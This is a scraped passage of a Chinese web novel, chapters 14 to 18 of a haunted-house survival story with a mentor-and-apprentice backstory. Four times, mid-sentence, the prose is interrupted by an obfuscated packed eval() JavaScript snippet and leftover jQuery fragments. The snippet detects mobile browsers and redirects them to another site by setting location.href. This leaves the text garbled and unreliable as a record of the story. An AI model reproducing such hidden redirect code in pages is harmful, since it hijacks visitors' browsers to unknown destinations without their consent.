齐栩硬着头皮说完了这句话,楚明铮很长时间都没回答他,似乎是被这惊天的要求给震撼到了,齐栩一时间心如擂鼓,紧张的手心都冒汗,迟迟不敢抬头看他。 齐栩艰难的闭上眼睛,心情比上刑场还悲壮。 半晌,头顶传来一声很轻的笑声。 齐栩愕然睁眼,只见楚明铮神情复杂的松开了揪住他的手。 “师父?”齐栩茫然道:“你笑什么?” 楚明铮摆了摆手,意味不太明朗的笑了一下:“没事,就是觉得你的胆子还挺大的。” “下次把这种胆量用在副本里就好了。” “别用在我身上。” …… 许祁川用肩膀顶了顶楚明铮:“你说话啊哥哥,你会摆什么姿势?” 楚明铮从胸腔里呼出一口冷到极点的气息,尽量平稳道:“我不喜欢拍照。” 许祁川停顿了一下,追问:“为什么?” “不喜欢就是不喜欢,哪有这么多为什么。”楚明铮把相框摆放回书架上随口道。 许祁川从他手中接过相框,状似无意的问道:“是不是有人,从前拿相机对你做过不好的事情啊?” “哥哥?” 楚明铮浑身一颤。 14. 第 14 章 许祁川端详着他的脸色,敏锐的发觉此人神情又转阴沉,于是当即俯身,将下巴往楚明铮肩膀上一搁,撒娇道:“好了好了,哥哥,我不问了。” “我不问了还不成吗。”许祁川黏黏糊糊的哄他。 楚明铮很意外的没说什么,他沉默着将许祁川推到了一边去,自己专心研究那三个相框,手电筒的白炽光被他的手心遮挡了一大半,只从指缝间流露出几缕黯然光亮,隐约照在楚明铮的脸上。 许祁川不动声色的注视着他,只见光照下那人眉目冰冷俊秀,一如当年。 仿佛从未被摧折过,也从未被齐栩那些折辱到极点的手段打压半分,楚明铮仍然跟他当年带齐栩时一样,凌厉而漂亮,锋芒不减。 许祁川无端的感到有些没意思,他在楚明铮看不见的地方盯着楚明铮瘦削的背影,神情阴鹜而占有欲十足。 “一共二十五个小朋友,九个做了鬼。”楚明铮没看到身后人奇怪的目光,自顾自的小声分析道:“还剩下十六个,剩下十六个是活的。” “也就是说,在女主人跟二十五个小朋友这个群体里,出了件什么大事,让女主人和九个小朋友都不幸怨气十足的死掉了,剩下的十六个小朋友,有可能是幸存者,也有可能是……” “凶手。”许祁川声音柔和的在他旁边接话道。 “我们现在只需要搞清楚,在这个诡异的家里,到底发生过什么就好了。”许祁川总结道。 楚明铮点了点头,少见的采纳了周围人的意见:“嗯。” “不过哥哥,我觉得你还漏数了一个人。”许祁川伸手拿起另一个相框,相框里是那个双马尾小姑娘的艺术照。 “她也在其中,应该是二十六个小朋友。” 楚明铮看了一眼那个相框,提醒他道:“她并不在大合照里。” “可是她在这个家里住呀。”许祁川反驳。 楚明铮凝神思索了一会儿,许祁川在他旁边谆谆善诱:“你看啊,我们现在所处的这个房间,你觉得它是个什么风格?” 楚明铮看着周围粉色的小床以及四下飘落的床帘帷幕,下意识跟着他的思路走:“唯美风。” “再精确一点,应该是公主风。”许祁川满眼欣赏的道。 楚明铮:“?” “粉色的床褥,白色的纱帐,书桌上的水彩笔和地毯上零零散散的油画棒……”许祁川一样一样的给他指过去:“嗯,还有书架上那个迪士尼小公主的可爱保温水杯。” “我不觉得这是女主人一个中年女人的房间布置风格。” “你说呢,哥哥?” “双马尾小姑娘,是女主人的女儿?”楚明铮思索道。 “可是我们在副本里也没有见到女主人的女儿。”楚明铮下意识的在地毯上踱步起来,那是他思考时的惯用形态:“说明女主人的女儿没死,而她的房间和艺术照都跟着女主人的怨念进入了副本,说明女主人最重的执念之一就是女儿。” “可是任何一个合照里,都没有她女儿的身影,这是为什么?” “这群孩子跟女主人是什么关系,她既然有女儿,又为什么要收养这么多孩子?”许祁川不解道:“总不能是真做慈善吧。” 楚明铮摇了摇头,平静道:“不对,我们的思路从一开始就走偏了。” 他的目光再次落到第一张在学校门口,以及第二张在餐桌前,孩子们和女主人的合照上。 “我们再结合所有已知线索分析一遍。” “这些孩子穿着打扮都不菲,而且他们都来自重点小学,说明来自不同家庭,并且家庭状况都不错。” “首先排除孤儿院和福利机构的可能性。” “其次,女主人有个女儿,也住在这个家里,女主人很爱她,给她布置了很漂亮的房间,但是她跟这些孩子没有交集,在同一个屋檐下,却没有一张合照,这是为什么?” “那就是孩子们不知道女主人有孩子。”许祁川道。 “很好,问题绕回原点。”楚明铮敲了一下桌面:“二十五个小孩,跟女主人到底什么关系?” 许祁川傻愣愣的看着他,然后摇了摇头。 楚明铮无奈,只好进一步帮他打开思路:“回忆一下你自己小学时期,再跟这个副本里的情境做个连接,想想看。” “我真不知道啊哥哥,我很小的时候就跟父母一起进副本了,连小学都没读完吧。”许祁川百无聊赖道:“我对小学的印象很模糊了。” “我比你年纪起码大十岁,你模糊我更模糊。”楚明铮冷冷道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613581|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “给我想!” 许祁川:“……” 这独断专行的语气还真是跟当年如出一辙。 就在他俩大眼瞪小眼对着三张照片分析的时候,许祁川突然眸中寒光一闪,伸手抓住楚明铮的衣袖,一把将他捞了过来。 楚明铮猝不及防,刚要回身反抗,许祁川迅速将手掌捂在了他的嘴上,另一只手环过楚明铮的腰身,将他强行拖着用力禁锢在怀里,然后带着他一并滚到了粉色小床的底下。 这年轻人的力气大的惊人,单手扣着楚明铮的腰身,将他折腾的狼狈不堪,楚明铮连反抗的余力都没有,耳畔一阵热气喷薄,只听许祁川悄声对他道:“哥哥,我听到女主人的脚步声了。” 楚明铮气喘吁吁,压着声音骂道:“废话,我又不聋!用得着你提醒吗——放手!” 许祁川当然不肯松开,将手臂在他身上环抱的更紧:“我不,哥哥,她进来了我更害怕了,我这人一害怕就非得抱着个什么东西,你……” “你他妈抱床柱子去,别抱我!” “嘘,嘘……小点声,她真的要进来了,我真的好害怕啊,哥哥你能不能也伸手把我搂住……” “我说了,你给我滚。” 楚明铮快被他气炸了,奈何门锁处真的传来几声窸窸窣窣的锁孔转动的声音,楚明铮深吸一口气,硬忍下心里的恼火,还是不敢乱动了。 许祁川心满意足的将他搂的更紧,悄声又在他耳边补了一句:“谢谢哥哥。” 楚明铮感觉自己天灵盖都被气的在冒烟。 自从遇到了许祁川,他居然偶尔还会怀念一下当年没变态发育之前的齐栩,十几岁的小齐栩又沉稳又听话,任打任骂,毫无怨言,跟在他身后。 那时人人都羡慕楚明铮养了个好徒弟,在副本里不仅行动利落,反应极快,而且随时都能给楚明铮搭把手帮忙。 ……也不知道后来怎么就长成了那副德行。 女主人推门而入,“吱呀”一声门响,在寂静的夜里格外明显,楚明铮屏息敛声的从床底下往过看,发现那飘飞的裙裾下没有脚,极其诡异的滑动着进来的。 身后许祁川的身体贴着他,狠狠一哆嗦,用气声在他耳边道了句。 “哥哥,她裙子上有血。” 15. 第 15 章 ……废话,她刚剁完肉,裙子上当然有血了,楚明铮心道。 这年轻小伙子不知道搭错的是哪根筋,时而思维敏捷,身手利落,时而又跟脑子短路一样,就比如此时,学树濑熊状趴在楚明铮身上,问些没名堂的诡异问题。 楚明铮右肩往上一顶,将许祁川的下颌撞的“嘎嘣”一声脆响,许祁川登时吃痛,但又不敢叫出来声,只好愁眉苦脸的将脑袋往楚明铮颈窝里埋的更深了。 楚明铮任由他在自己肩头磨蹭,他此时所有的注意力都聚焦在床脚下那半掌大小的缝隙里,他屏住呼吸,一声不响的从床脚下望出去。 从这个角度往外看,其实除了女主人的裙摆,什么也看不到。 而鬼的双脚又是离地形态的,一双脚尖在空中晃荡着来回飘去,看的人鸡皮疙瘩骤起。 她似乎是在屋里翻找着什么,楚明铮挣动了一下肩膀,想让许祁川松开些,许祁川当然不答应,将他搂抱的更紧。 楚明铮无奈,好在刚进门书架的那块摆放着一个整人高的穿衣镜,楚明铮能看到一部分的镜面,镜面上能反射出少许女主人模糊的身影。 ……只见女主人拿起了书架上的相框,用苍白至极的鬼手一点一点抚摸着框中照片,黑漆漆的长发披散,看不清她脸上的神色。 “啪嗒……”血珠滴淌,倏然砸落相框边缘。 许祁川附在他耳边悄声问道:“她拿的是哪张照片?” 楚明铮不敢吭声,回头瞪了他一眼,示意此人闭嘴。 许祁川显然没领会到他的意思,仍然满眼期待的望着他,继续用气声道:“你是看见了是吧,哥哥?” 两人所处的空间狭小而闭塞,四面床帘漏风,加上这为小女孩量身而作的床本身也不大,稍有不慎,就会暴露出去,女主人一身血气,就在床外飘着,危险到了极点。 楚明铮恨不得拿个封条给许祁川的嘴贴上封死,奈何眼下没这条件,许祁川一脸全然不知此地危险似的,仍然目光炯炯的望着他,神情十分天真可爱。 楚明铮忍气吞声,只得顺手从旁将他的手捞起来,放在自己掌中,另一只手伸出一根食指,在对方手心上一个字一个字的书写起来。 “是她女儿那张。” 许祁川满眼的受宠若惊,不敢置信的被他攥着手,在掌心上写了一通字,直到楚明铮把手指收回去,他还没从这巨大的幸福里反应过来。 楚明铮刚才牵他的手了? 还在他手上写字了? 许祁川在黑暗里瞪着眼睛,半晌没回过神来,掌心里被楚明铮指尖蹭过的地方火辣辣的再次灼烧起来,一如年少时被皮带抽屁股时的触感。 “啪嗒,啪嗒,啪嗒……” 血泪流淌下坠的速度逐渐加快,在整张相框纸上很快模糊一片,楚明铮从镜面反射的光芒中窥见了抹不开的厉红色泽,可见那血泪如潺潺流水,汩汩不绝。 分明早已经是枯骨一副的女人,身体里却还能淌出那么多的血泪。 楚明铮从模糊的镜面反射中仔细盯着她的每一寸变化,生怕看漏一点信息,许祁川这会儿倒是没了动静,十分乖巧的窝在他的身侧,一动也不动。 女主人低着头,将照片专注的边哭边看了五六分钟,才颤巍巍的用惨白瘆人的鬼爪将血糊刺啦一片的照片放回了书架上。 看样子她今晚的第一项活动结束了,楚明铮心想,接下来会干什么呢? 女主人飘飞到了镜子前,鬼脸正对着镜面,刚好反射着落进楚明铮眼里,楚明铮倏然将脖颈退回来半寸,以免对方发现自己。 许祁川见他反应剧烈,以为他被女鬼吓到了,便伸手拍拍他的手臂,小声道:“别怕哥哥,我保护你。” “闭嘴。”楚明铮没好气的用口型道。 许祁川很委屈,小声道:“你为什么总是让我闭嘴?” “当然是因为你的意见不具有建设性。”楚明铮喃喃着不出声说道,没把此话骂出来。 楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613582|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明铮维持着仰面躺在床底下的这个姿势,僵硬不动的躺了数秒,直到外边没了声响,他才又小心翼翼的往边上挪了一点,余光斜视,又朝镜子上看。 “嘭!” “嘭!” 只听两声巨响,镜面展开一道碎裂的花纹,女主人正背对着他们,长发无边无际的散落的很长,原先只是披肩的长度,不过片刻功夫,已经拖到了地上。 这可不是什么好兆头。 她垂着脑袋,脖颈跟肩颈弯折出了一个活人绝对难以做到的弧度,用后脑勺抵在冰冷的镜面上,又骤然扬起,再次对准镜面砸下! 直将自己的脑壳撞的骨头渣子横飞,脑浆淅淅沥沥沿着头发泼洒,也不停歇。 “嘭,嘭,嘭!” 一下一下的声音震响在狭小的卧室里,画面太诡异了,夜色浓重的房间里,一个长发女人抱着镜子,正在把自己的脑壳往碎里砸。 许祁川抓着他手臂的那只手力道骤然一紧,急声道:“哥哥,她跟第一天夜里那个无头男尸的死法,一模一样!” 年轻人话音一落,不等楚明铮回答,变故就陡然发生。 只见女主人硕大的头颅在最后一下撞击镜面的时候,“嘎嘣”一声,颈椎骨整个碎掉了,严格意义上讲这不叫碎掉,而是叫“从脖子中间直接折断了”。 女主人的脑袋从她的脖颈上闷声一响,裹挟着一脑袋乌黑的秀发,还有满泼从喉管里带出来的鲜血,一齐滚落在了地上。 圆滚滚的头颅在铺满头发的地面上连着滚了数圈,最终正面停在了床下。 女主人尸体和首级分离了,眼睛却还亮晶晶的睁着,她摇摇晃晃的让自己的头在地面上打转少倾,最终眼睛朝右,直勾勾的跟床底下的楚明铮对视上了目光。 血水从她额间唰然滚落,冲刷过惨白惨白的死人面庞,看起来又可怖,又阴森。 她看着床下的楚明铮,死鱼一般凸起的眼睛极其惨然的一弯。 抓到你了。 16. 第 16 章 女鬼眼瞳由黑转白,幽光一线,头颅卷着头发丝一骨碌就要朝二人滚过来。 楚明铮反应半点不慢,推着许祁川闪身从床下一滑而出,许祁川被他力道极大的推了一个踉跄,好在反应及时,才扶着墙壁猫腰起身站稳。 哪料刚站稳的瞬间,一抬眼就撞上了女主人断了头的半截身子。 许祁川跟她面面相觑几秒,末了很配合的从喉咙里发出一声惊叫,眼中却全无惧色,甚至还有闲心伸手一捞楚明铮腰身,将人往自己怀里扣紧了几寸。 楚明铮看不见他脸上神色,只听得这怂包蛋年轻人又开始鬼哭狼嚎,危机当前他也顾不上呵斥此人闭嘴,当即从对方怀里挣脱开来,反手一抓许祁川手腕,带着他倏然跳上粉色小床,床板不堪重负发出“吱呀”一声抗议。 地上女主人的头颅骨碌碌的从床底的这一头滚到了那一头,两只幽幽鬼眼上下疯狂转动着,却死活找不到楚明铮和许祁川的人影。 楚明铮四下一看,来不及细想,俯身抱起床上的被褥,猛然朝着床脚下的一整颗脑袋砸下去。 女鬼脑袋凄厉大叫一声,在被褥里来回滚动,一时半会儿却怎么都挣不开被子,楚明铮趁此时机拉着许祁川转身就跑。 许祁川十分惊喜:“哥哥,想不到你居然这样嘴硬心软,危急关头,你还是愿意保护我的!” 楚明铮闻言冷冷瞥他一眼,瞬间撒手,示意他自生自灭去吧。 许祁川:“……” 女鬼的脑袋虽然被床褥暂时缠住了,剩下的半截残躯却还留在外边,它失了五感和方向,只能像个没头苍蝇一样,伸张着手臂,来回在卧室里乱转。 “我猜这具没头尸体听不见我们的动静。”许祁川低声道。 楚明铮凝重的看了一眼整个卧室的布局以及方位,心道还有些麻烦。 女鬼的头在被子里包着,仍然没有放弃挣扎,按照她这个疯狂律动的频率,估计没一会儿就能挣脱开来,而没头的尸体此时正双臂大张,寂静无声的拦在门前。 它虽然看不见也听不见,但是却将唯一的出口拦得严丝合缝,许祁川和楚明铮想要从卧室里出去,显然还得过无头尸体那一关。 楚明铮果断将他手臂一拍,郑重道:“你去引开他,我来开锁。” 许祁川:“啊?!” “哥哥你怎么喊我做这么危险的任务!不是……我该怎么引啊?” “自己想办法!”楚明铮伸手在他后背上用力一推,许祁川的身体登时从床榻上脱离出去,朝着女主人残躯的方向就被迫扑过去了。 耳畔风声嘶哑,许祁川落地的瞬间眼睛里已然变了神色,一双眼睛明锐而犀利,方才演出来的满眼惊恐转瞬间消失无踪。 他毫不犹豫的伸手抓住女主人苍白的手臂,用力朝外一扯! 苍白的鬼手登时在他掌心里化成了一团黑雾,瞬间平移到房间的另一边,她看不见许祁川的身影,只能通过门板的大致方位来攻击许祁川。 楚明铮快速跳下床,扑到门板前专心致志的研究起门锁来。 鬼手接连瞬移数寸,从空中直挺挺抓挠许祁川咽喉,许祁川不闪不避让,单手一抬,掌心里一小簇光芒飞逝而过,下一秒那鬼手就好像被灼烧烫着了一样,倏然收回去,青白的枯瘦指尖飘起袅袅青烟。 头颅跟身躯大约是有共感的,只听女鬼首级那边传来一声惨烈怒吼,显然是被烧疼着了,被褥里的滚动频率更加疯狂,满头青丝裹挟,鬼气森森,呼之欲出。 许祁川闲散的收回手,并不把她当回事,溜达了两步走到楚明铮身后,依旧用那副甜死人不偿命的撒娇声调小声道:“哥哥,你快一点嘛,我真的害怕。” 楚明铮脸色不变,顺手一抽锁孔,门板霍然打开。 与此同时,被床褥缠绕已久的女鬼脑袋终于破土而出,与身后残躯合二为一! 楚明铮将许祁川顺势推了一把:“快走!” 两人夺门而出,沿着漆黑的走廊没命奔逃,身后女鬼嘶声吼叫,穷追不舍,速度出奇的快,一副不死不休的悍然模样。 眼看着到了卧室门前,许祁川的脚踝却蓦然一凉,他下意识仍然用那凄凄惨惨的声音喊了声“哥哥”。 楚明铮回头一看,只见女鬼不知道什么时候已经爬在了地上,冰冷的鬼爪牢牢的握着许祁川的脚踝,见他回头,就趴伏在地上,阴惨惨的冲他一笑。 “咯吱,咯吱……”鬼手绷紧,将许祁川的脚踝掐的青黑泛紫,雾气一点点沿着他的脚踝一路缠绕上许祁川的右腿,眼看着躯体里的满腹怨气化作的黑雾就要将许祁川吞噬进去了。 许祁川的眼睛越发惊恐,他颤巍巍的伸出一只手,哀声求助:“哥哥,救救我……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613583|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 楚明铮心下一横,也不知道自己是怎么想的,伸手从外套里侧掏了一张相框出来,扬手一扔,相框连带着其中相纸瞬间飞的老远,直接砸到了走廊的另一端。 女主人肝胆俱裂大吼一声,转身就去接那相框。 楚明铮火速一捞许祁川的手臂,将他整个人连人带马薅进了卧室里,“咔哒”一声,门上反锁。 一切这才归于寂静。 许祁川十分震惊:“你扔了什么出去?” “她女儿的照片。”楚明铮喘息着背靠着门板道:“刚才卧室里顺手拿的。” 许祁川眼睛瞪得溜圆:“怪不得她死命追我们呢!你拿了她女儿的相框!” 楚明铮不耐烦的道:“我要是没拿你刚才就死了!” 门板外边嘎吱嘎吱传来一阵很剧烈的抓挠声,女主人怨毒的在门背后拼命想往里进,楚明铮回身打量了一下门板的结实程度,慎重道:“我觉得她今晚应该进不来。” 两人一时忘了方才的话茬,并肩站在一起盯着门板。 过了不知道多久,门板那边的响动才逐渐止息下来,许祁川动作很大的松了口气,展露出一个笑容:“谢谢哥哥。” 楚明铮低声道了句:“没事。” “我没想到你真会救我。”许祁川又补充了一句:“我以为你是那种在副本里从不在意别人死活那类型人。” 楚明铮语气稍微有点差的道:“胡说八道,你从哪儿看出来的。” 许祁川笑而不语,看上去心情好的要命。 楚明铮不知道他一个人在乐呵什么,只觉莫名其妙,但两人刚刚从生死关头走了一遭回来,他暂时也没力气骂人。 于是就一个人回房间上床去了。 许祁川也就跟着他走到了另一边的床上,他将被子一裹,眼睛很明亮的侧躺着直视楚明铮。 “哥哥,你怎么想到把那个小女孩的照片拿出来的?” 楚明铮本来已经闭上了,听到此话又复而睁开,目光空洞的望着天花板。 许祁川没觉得他会回答自己,只是临睡前惯例撒个娇而已。 没想到下一秒楚明铮就开口了。 他语气很淡:“我以前认识过一个姑娘,跟照片里那个小女孩长得很像,我一时没舍得放手,就顺出来了。” 许祁川的脸色瞬间就黑下来了。 17. 第 17 章 许祁川自然知道他口中的那个小姑娘是谁。 那女孩跟齐栩差不多年纪,比齐栩大个一两岁,是楚明铮从前战友的女儿。 楚明铮十年前在副本世界里成名的时候,身边有个年长他很多的搭档,两人自副本世界相识,彼此信任,合作无间,一起过了无数副本,逐步在玩家群体中打出名气,成为了最佳拍档。 后来楚明铮的这位最佳拍档死了,据说死的很惨。 副本生死二选一,他把生的机会留给了楚明铮,临死前托孤,祈求楚明铮好好照料自己的女儿。 楚明铮含着热泪应了,从副本里出来后就到搭档家里去,把当时只有八九岁的小姑娘接到了自己身边,一路悉心呵护着养大,两人相差十来岁,比亲兄妹还亲。 后来那小姑娘也被迫卷进副本世界,楚明铮将她保护的更严实,简直到了捧在掌心里怕化了的程度。 小姑娘自父亲亡故以后,为了掩盖身份减少麻烦,干脆跟了楚明铮姓,全名楚小妙。 楚明铮将她看的比自己眼珠子都重,副本里宁可自己受伤,都绝不可能让楚小妙破一点油皮。 所有人都知道楚明铮唯一的软肋就是这个小姑娘,那些年有不少公会领袖,都曾试图通过讨好楚小妙,来拉拢楚明铮进入自家组织。 但是无一不被楚明铮疾言厉色警告回去,说有什么事找我就好,不要牵扯孩子。 齐栩是后来才跟到楚明铮身边的。 他跟楚小妙所受到的待遇天差地别。 如果说楚小妙是楚明铮的掌上明珠,齐栩就是楚明铮身侧的一条狗,召之即来挥之即去,动辄就严厉训斥,解皮带直接上手抽也是常有的事。 久而久之,任谁心里都难以平衡。 何况齐栩跟楚小妙差不多年龄,小孩子正是藏不住事,把所有心思都写在脸上的年龄。 楚小妙在齐栩面前像只骄傲的小公主,她最喜欢在楚明铮冲齐栩发火时,在一旁摇头摆尾的冲齐栩做鬼脸。 少年齐栩气的咬牙切齿,却拿这小女孩一点办法都没有。 他心知自己要是敢动这小女孩一下,楚明铮就敢把他直接剁了。 齐栩有这个自知之明。 …… “喂,今天晚上你睡外铺,我睡里边。”楚小妙抱着被子颐气指使的对他道。 他们此时跟着楚明铮在一个乡村副本里,两两一组分房间,两个小孩不幸被分到了同一组,楚明铮跟另一个过关者被分到了一起,今天晚上暂时照看不了他们。 齐栩一掀眼皮:“凭什么?” “通铺里侧安全啊,哥哥也会让我睡里侧的。”楚小妙理所当然道:“再说了,外铺也不一定就会碰上鬼,你睡一晚上也没事。” 齐栩把外套往床上一撂,冷冷道:“那你怎么不睡?” 楚小妙将他从头到尾打量了一番,神情稍带了点轻蔑:“不如我们现在就从隔壁把哥哥喊来,看看他怎么说。” 她见齐栩仍然站在原地犟着不说话,便又补充了一句:“你前天才被哥哥抽了一顿皮带,难不成还想再挨一顿?” 齐栩气的牙痒痒,瞪着她一言不发,半晌无可奈何,气呼呼的在外铺躺下了。 楚小妙见他吃瘪,这才心满意足的躺在里侧睡着了。 夜里楚明铮过来给他二人叮嘱些事情,顺道给楚小妙带了点心,齐栩沉着脸在一旁看着楚小妙吭哧吭哧吃点心,没表示什么。 楚明铮察觉到了他的目光,忍不住伸手将他脑袋一杵:“人家小姑娘吃点心,你计较个什么?” 齐栩捂着额头,没说什么,只委屈的背过身去,不言语了。 楚小妙在一旁吃吃吃的发出嘲笑。 楚明铮无奈,伸手在他沉默的后脑勺上又给了一下,末了跟楚小妙招呼道:“走了啊,有事叫我,我就在隔壁。” 楚明铮的脚步声逐渐远去,齐栩又气又恼的翻身将被子裹紧,彻底不理会楚小妙,兀自闭眼睡觉去了。 然而总有人不给他这个安心睡觉的机会。 楚明铮去而复返,把齐栩从床上拎起来了,齐栩一惊,下意识开口要问他干什么,却见楚明铮伸手示意他闭嘴,别吵醒一旁已经熟睡了的楚小妙。 齐栩只好从被子里坐起来,准备看楚明铮要干什么。 下一秒,他嘴唇里蓦然被人塞进一小块甜滋滋的软糕状物,入口的瞬间,鲜花饼的芬芳香甜就从齿间绽放开来。 齐栩嘴里含着点心,目瞪口呆。 整个人都僵成了一块石头。 楚明铮给他喂完点心,随手在他嘴边抹了一下,将细微的点心颗粒给擦去了,那指尖冰凉而温润,触感擦过齐栩的嘴唇,将他五脏六腑都仿佛给燎着了。 “看什么看。”楚明铮呵斥道:“刚刚回房间掏口袋,发现还剩最后一口,不想浪费就给你吃了。” “吃完赶紧睡,晚上保护好她,听见了没有?”楚明铮捻磨了一下指尖,低声道。 农村大通铺旁边点了一盏小夜灯,光影微黄昏暗, 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“赶紧睡觉,别大半夜的胡思乱想,待会儿再把鬼招来了。” 齐栩默默的“哦”了一声,松手放开了楚明铮的手腕,目送着他转身出门去了。 楚小妙睡梦中在他身畔嘎吱嘎吱的磨着牙,他也不觉得烦了。 …… 许祁川单手托腮,坐在床畔注视着楚明铮。 他知道楚明铮现在的心思还牵挂在楚小妙身上,毕竟从被软禁起,楚明铮就再也没见过楚小妙了。 这当然是齐栩从中作的梗。 许祁川闲散的在床畔做思考者状,末了开口随意跟楚明铮闲聊道:“我发现你总是不喜欢我喊你哥哥,为什么?” 楚明铮闭着眼睛,心平气和道:“你是个男的,叫另一个男的哥哥,听起来就很gay,你不觉得吗?” 许祁川笑了:“那我要是个柔弱的小姑娘,喊你哥哥,你是不是就能接受了?” 就像楚小妙喊你那样。 楚明铮显然跟他想到了一个人,普天之下会甜甜喊他“哥哥”的女孩子就那一个。 楚小妙如今生死未卜,按照齐栩后期那个疯癫的性格,定然会在他失踪疑似死亡后,疯狂逼供为难楚小妙的。 而他什么却都做不了,齐栩如今的势力太强大了,楚明铮难以撼动分毫。 他现在完全不知道楚小妙境遇如何,心里不免又烦躁了起来。 18. 第 18 章 楚明铮抬眼望着天花板,眼中含着冰凉的惆怅。 他无声无息的叹了口气,侧身背对着许祁川睡了,那背影仍然瘦削而稍显蜷缩,裹挟掩盖在沉重的被子里,几乎察觉不到被褥下还压了个人。 “刚才相框上的那个小女孩,让你想起谁了?”许祁川忽然问道。 楚明铮这会儿很累,语气当然也说不上好,他盖着被子低声回道:“跟你有什么关系。” 许祁川心底倏然升起一股从年少时就郁结在心里的委屈,这浓重而难以忍受的委屈短暂的盖过了他的理智。 他猛的从床上站起来,连跨两步走到楚明铮的床前,伸手一把掀开了男人的被子,指尖沾上了一点对方被褥间的体温余热。 楚明铮惊怒回身,一把跟他抢起了被子:“你大晚上不睡觉干什么!” “放开!” 许祁川拎着他的被子抬手一躲,另一只手牢牢按住楚明铮的手腕,逼迫着他重新躺回床上。 “跟我说一下嘛哥哥。”许祁川央求似的抓着他的手腕摇晃:“求你了,我得知道你喜欢什么样的搭档,我才好跟你在这个副本里合作呀。” 楚明铮手腕被他禁锢的动弹不得,用力往回抽了两下,却怎么都没挣扎开。 楚明铮发觉自己这两年是真的被各种事情,心力憔悴折磨的身体亏空到了,若是换了他二十出头的时候,此时绝对一拳就把许祁川抡翻在地上了。 可惜现在不比当年,许祁川面上显得十分轻松,仿佛丝毫力气也没出似的,仅用一只手反抓着楚明铮的腕骨,就将他按的挣动不了分毫。 “你到底想问什么?”楚明铮放弃挣扎,气喘吁吁的抬眼问他。 他直觉眼前这年轻人的各种情绪变化有异样,但是他却琢磨不出来缘由。 许祁川那双漆黑如墨的眼珠子在夜色中静静的跟他对视着,也不开口说话,也不肯松开楚明铮的手腕,就这么跟他僵持了得有十来秒。 夜色将楚明铮的脸庞衬得如玉白皙,眼睛因为过度用力而微微泛红,神情里惊怒交加,对许祁川突如其来的冒犯又气又急,仿佛下一秒就要起身跟他鱼死网破似的。 许祁川最终还是把手松开了,像是放弃了什么很重要的事情。 他回身把被子从一旁捞起来,重新盖在了楚明铮的身上:“对不起。” “你睡觉吧,我不烦你了。” 楚明铮对他这一系列诡异举动感到匪夷所思,许祁川将他的手腕攥的生疼,自己却神色十分垂丧的回床上睡觉去了。 楚明铮简直一肚子火没处发,半晌恼火的对着许祁川的背影问了一句:“你是不是吓得失心疯了?” 许祁川当然没答话,只是窝在床上的背影显得更落寞了。 …… 许祁川对那个相框看的格外在意,这看似离奇的举动下,当然是有原因的。 因为楚小妙,就是导致齐栩彻底和楚明铮决裂的导火索。 “兄妹当然比师徒关系更亲密了。”楚小妙对齐栩叉腰道。 齐栩头也不抬:“又不是亲生的。” “喂!你什么意思!我跟楚哥虽然不是亲生的,但是胜似亲生的,总比你这个半路捡来的徒弟强,是不是?”楚小妙反唇相讥。 齐栩重重将手里碗筷一放,眼睛瞪起来,看上去要摔碗骂人了。 “哎,好了好了……”方才在厨房忙碌的小肖姐连忙出来打圆场:“你俩这有什么可争的,一个他看的比自己亲妹妹还亲,一个是从小带到大的徒弟,从不离身,手心手背都是肉好不好。” “都别吵了别吵了,好好吃饭。” 楚明铮噔噔噔从楼上下来了,路过餐桌的时候随口问了一句:“他俩吵什么呢?” “还能吵什么,在你面前争风吃醋呗。”小肖姐哭笑不得的嘟囔了一句。 楚明铮对此不予置评,临出门前顺手在两个孩子的后脑勺上一人揉了一把,照例训斥:“都给我干点正事!” “哦。”楚小妙乖巧的悻悻道:“好的哥哥。” 齐栩一言不发,握着碗筷的手却不声不响的攥紧了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613585|187645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚明铮对他,的确没有对楚小妙好,这是毋庸置疑的事实。 他从没动手打过楚小妙,但对齐栩就下得去狠手。 甚至来说连斥责的情况都极其少见,楚明铮这人向来冷淡锋利,唯独对楚小妙温柔和气。 